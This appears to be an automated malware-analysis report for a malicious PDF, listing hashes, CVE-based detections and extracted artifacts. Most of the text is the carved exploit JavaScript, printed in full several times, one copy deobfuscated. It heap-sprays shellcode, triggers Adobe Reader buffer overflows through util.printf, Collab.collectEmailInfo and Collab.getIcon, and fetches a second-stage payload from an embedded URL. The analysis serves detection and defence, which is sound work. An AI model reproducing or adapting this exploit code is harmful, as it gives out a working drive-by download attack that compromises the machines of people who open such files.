Malicious PDF — malware analysis report

Static analysis result for SHA-256 003446dd798ac09a…

MALICIOUS

PDF

2.7 KB Created: 5049-01-01 Authoring application: 1645 First seen: 2012-07-12
MD5: 1f8cb8f4bd0af1728c865a427454834a SHA-1: 68ecdaa894b74fd3f18436ae5aa3bf9a6d0e3498 SHA-256: 003446dd798ac09aaae39631b24c92da39bc88b5dfbaa68882eee0c522e926e4
688 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

This PDF document contains obfuscated JavaScript that exploits multiple CVEs (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) in Adobe Reader. The script is designed to download and execute a second-stage payload from the embedded URL http://mavr-best.com/load.php. The use of multiple exploit techniques and a generic download URL suggests a downloader or exploit kit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (matched in decompressed stream)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-36014 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36014
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    vary57v=newArray();functiond19a(j84j,r68v){while(j84j.length*2<r68v){j84j=j84j;}j84j=j84j.substring(0,r68v/2);returnj84j;}functionv68p(m4u){varp7j=0x0c0c0c0c;vark86l=unescape(%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56% …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Hex-obfuscated structural name object high PDF_OBFUSCATED_NAME_OBJECT
    A structurally-dangerous PDF name (e.g. /OpenAction, /Launch, /AA, /EmbeddedFile, /SubmitForm) is written with #XX hex escapes to evade string-based scanners. Legitimate producers write these names literally; hex-encoding them is a deliberate obfuscation technique.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://mavr-best.com/load.php?stat=Windows/load.php&s=1 Referenced by PDF JavaScript
    • http://mavr-best.com/load.php?stat=Windows/load.php&s=2Referenced by PDF JavaScript
    • http://mavr-best.com/load.php?stat=Windows/load.php&s=3Referenced by PDF JavaScript
    • http://mavr-best.com/load.php?statReferenced by PDF JavaScript

Related samples 2

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 15

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x328 4738 bytes
SHA-256: 8ec1627658002ba0135fdb0a6b4b89d82a29b6f35e7c2762bf005798b0daf3ee
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s). Carved artifact contains 3 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
var y57v = new Array();
function d19a(j84j, r68v){
 while (j84j.length * 2 < r68v){
j84j += j84j;
}
j84j = j84j.substring(0, r68v / 2);
return j84j;
}
function v68p(m4u){
var p7j = 0x0c0c0c0c;
var k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (m4u == 1){
p7j = 0x30303030;
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (m4u == 2){
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var h92l = 0x400000;
var a72f = k86l.length * 2;
var r68v = h92l - (a72f + 0x38);
var j84j = unescape("%u9090%u9090");
j84j = d19a(j84j, r68v);
var h64u = (p7j - 0x400000) / h92l;
for (var e78z = 0; e78z < h64u; e78z ++ ){
y57v[e78z] = j84j + k86l;
}
}
var g66v = "132495969" + "79893" + "9495969" + "79899394" + "959697989";
g66v = g66v.replace(/[\+345678]/g, "")
function f18v(){
var o86m = app.viewerVersion.toString();
if (o86m > 8){
eval(unescape("%76%36%38%70%28%31%29%3b%0d%0a%76%61%72%20%6b%37%33%66%20%3d%20%67%36%36%76%3b%0d%0a%66%6f%72%20%28%63%32%33%67%20%3d%20%30%3b%20%63%32%33%67%20%3c%20%32%37%36%3b%20%63%32%33%67%20%2b%2b%20%29%7b%0d%0a%6b%37%33%66%20%2b%3d%20%22%38%22%3b%0d%0a%7d%0d%0a%75%74%69%6c%2e%70%72%69%6e%74%66%28%22%25%34%35%30%30%30%66%22%2c%20%6b%37%33%66%29%3b"));
}
if (o86m < 8){
eval(unescape("%76%36%38%70%28%30%29%3b%0d%0a%76%61%72%20%79%38%36%68%20%3d%20%75%6e%65%73%63%61%70%65%28%22%25%75%30%63%30%63%25%75%30%63%30%63%22%29%3b%0d%0a%77%68%69%6c%65%20%28%79%38%36%68%2e%6c%65%6e%67%74%68%20%3c%20%34%34%39%35%32%29%79%38%36%68%20%2b%3d%20%79%38%36%68%3b%0d%0a%74%68%69%73%20%2e%63%6f%6c%6c%61%62%53%74%6f%72%65%20%3d%20%43%6f%6c%6c%61%62%2e%63%6f%6c%6c%65%63%74%45%6d%61%69%6c%49%6e%66%6f%28%7b%0d%0a%73%75%62%6a%20%3a%20%22%22%2c%20%6d%73%67%20%3a%20%79%38%36%68%7d%29%3b"));
}
if (o86m < 9.1)
{
eval(unescape("%69%66%20%28%61%70%70%2e%64%6f%63%2e%43%6f%6c%6c%61%62%2e%67%65%74%49%63%6f%6e%29%7b%0d%0a%76%36%38%70%28%32%29%3b%0d%0a%76%61%72%20%68%33%31%65%20%3d%20%75%6e%65%73%63%61%70%65%28%22%25%30%39%22%29%3b%0d%0a%77%68%69%6c%65%20%28%68%33%31%65%2e%6c%65%6e%67%74%68%20%3c%20%30%78%34%30%30%30%29%68%33%31%65%20%2b%3d%20%68%33%31%65%3b%0d%0a%68%33%31%65%20%3d%20%22%4e%2e%22%20%2b%20%68%33%31%65%3b%0d%0a%61%70%70%2e%64%6f%63%2e%43%6f%6c%6c%61%62%2e%67%65%74%49%63%6f%6e%28%68%33%31%65%29%3b%0d%0a%7d"));
}
}
f18v();
javascript_obj0013_001_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 280 bytes
SHA-256: a72a377a72ba96f24e2541dd4643f0d11bc67d5c62595814119827f263b5930f
javascript_obj0013_001_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 280 bytes
SHA-256: 2a0ec596447f3c1ad4b47215fab8978d8d6c8923425c879e11ab62cc106d8ec1
javascript_obj0013_001_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 280 bytes
SHA-256: a9ae3ca64744d1f2a2df615d882350252d73c042d4dbeeef4bb5fc899910e822
generic_stage_recovery_000.js deobfuscated-js generic stage recovery split-literal-normalize from JavaScript object 13 at offset 0x328 4718 bytes
SHA-256: 4b77974cacaa2ae5b79f0efe827303630625092dcd6fcbbf017e26cbfc677325
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s). Carved artifact contains 3 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
var y57v = new Array();
function d19a(j84j, r68v){
 while (j84j.length * 2 < r68v){
j84j += j84j;
}
j84j = j84j.substring(0, r68v / 2);
return j84j;
}
function v68p(m4u){
var p7j = 0x0c0c0c0c;
var k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (m4u == 1){
p7j = 0x30303030;
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (m4u == 2){
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var h92l = 0x400000;
var a72f = k86l.length * 2;
var r68v = h92l - (a72f + 0x38);
var j84j = unescape("%u9090%u9090");
j84j = d19a(j84j, r68v);
var h64u = (p7j - 0x400000) / h92l;
for (var e78z = 0; e78z < h64u; e78z ++ ){
y57v[e78z] = j84j + k86l;
}
}
var g66v = "13249596979893949596979899394959697989";
g66v = g66v.replace(/[\+345678]/g, "")
function f18v(){
var o86m = app.viewerVersion.toString();
if (o86m > 8){
eval(unescape("%76%36%38%70%28%31%29%3b%0d%0a%76%61%72%20%6b%37%33%66%20%3d%20%67%36%36%76%3b%0d%0a%66%6f%72%20%28%63%32%33%67%20%3d%20%30%3b%20%63%32%33%67%20%3c%20%32%37%36%3b%20%63%32%33%67%20%2b%2b%20%29%7b%0d%0a%6b%37%33%66%20%2b%3d%20%22%38%22%3b%0d%0a%7d%0d%0a%75%74%69%6c%2e%70%72%69%6e%74%66%28%22%25%34%35%30%30%30%66%22%2c%20%6b%37%33%66%29%3b"));
}
if (o86m < 8){
eval(unescape("%76%36%38%70%28%30%29%3b%0d%0a%76%61%72%20%79%38%36%68%20%3d%20%75%6e%65%73%63%61%70%65%28%22%25%75%30%63%30%63%25%75%30%63%30%63%22%29%3b%0d%0a%77%68%69%6c%65%20%28%79%38%36%68%2e%6c%65%6e%67%74%68%20%3c%20%34%34%39%35%32%29%79%38%36%68%20%2b%3d%20%79%38%36%68%3b%0d%0a%74%68%69%73%20%2e%63%6f%6c%6c%61%62%53%74%6f%72%65%20%3d%20%43%6f%6c%6c%61%62%2e%63%6f%6c%6c%65%63%74%45%6d%61%69%6c%49%6e%66%6f%28%7b%0d%0a%73%75%62%6a%20%3a%20%22%22%2c%20%6d%73%67%20%3a%20%79%38%36%68%7d%29%3b"));
}
if (o86m < 9.1)
{
eval(unescape("%69%66%20%28%61%70%70%2e%64%6f%63%2e%43%6f%6c%6c%61%62%2e%67%65%74%49%63%6f%6e%29%7b%0d%0a%76%36%38%70%28%32%29%3b%0d%0a%76%61%72%20%68%33%31%65%20%3d%20%75%6e%65%73%63%61%70%65%28%22%25%30%39%22%29%3b%0d%0a%77%68%69%6c%65%20%28%68%33%31%65%2e%6c%65%6e%67%74%68%20%3c%20%30%78%34%30%30%30%29%68%33%31%65%20%2b%3d%20%68%33%31%65%3b%0d%0a%68%33%31%65%20%3d%20%22%4e%2e%22%20%2b%20%68%33%31%65%3b%0d%0a%61%70%70%2e%64%6f%63%2e%43%6f%6c%6c%61%62%2e%67%65%74%49%63%6f%6e%28%68%33%31%65%29%3b%0d%0a%7d"));
}
}
f18v();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 13 at offset 0x328 3860 bytes
SHA-256: 39ee61c5bec5fcf61750b5bce9e0df0a74d93175490b6e39e6ff5fc028e46b26
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var y57v = new Array();
function d19a(j84j, r68v){
 while (j84j.length * 2 < r68v){
j84j += j84j;
}
j84j = j84j.substring(0, r68v / 2);
return j84j;
}
function v68p(m4u){
var p7j = 0x0c0c0c0c;
var k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (m4u == 1){
p7j = 0x30303030;
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (m4u == 2){
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var h92l = 0x400000;
var a72f = k86l.length * 2;
var r68v = h92l - (a72f + 0x38);
var j84j = unescape("%u9090%u9090");
j84j = d19a(j84j, r68v);
var h64u = (p7j - 0x400000) / h92l;
for (var e78z = 0; e78z < h64u; e78z ++ ){
y57v[e78z] = j84j + k86l;
}
}
var g66v = "132495969" + "79893" + "9495969" + "79899394" + "959697989";
g66v = g66v.replace(/[\+345678]/g, "")
function f18v(){
var o86m = app.viewerVersion.toString();
if (o86m > 8){
eval(unescape("v68p(1);
var k73f = g66v;
for (c23g = 0; c23g < 276; c23g ++ ){
k73f += "8";
}
util.printf("%45000f", k73f);"));
}
if (o86m < 8){
eval(unescape("v68p(0);
var y86h = unescape("%u0c0c%u0c0c");
while (y86h.length < 44952)y86h += y86h;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : y86h});"));
}
if (o86m < 9.1)
{
eval(unescape("if (app.doc.Collab.getIcon){
v68p(2);
var h31e = unescape("%09");
while (h31e.length < 0x4000)h31e += h31e;
h31e = "N." + h31e;
app.doc.Collab.getIcon(h31e);
}"));
}
}
f18v();
generic_stage_recovery_002.js deobfuscated-js generic stage recovery split-literal-normalize from combined JavaScript objects at offset 0x9 4729 bytes
SHA-256: 42b63f43b979869e8b4ad544c1eddf86ce6d19804f5089787c1b39c219e8a5a1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s). Carved artifact contains 3 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var y57v = new Array();
function d19a(j84j, r68v){
 while (j84j.length * 2 < r68v){
j84j += j84j;
}
j84j = j84j.substring(0, r68v / 2);
return j84j;
}
function v68p(m4u){
var p7j = 0x0c0c0c0c;
var k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (m4u == 1){
p7j = 0x30303030;
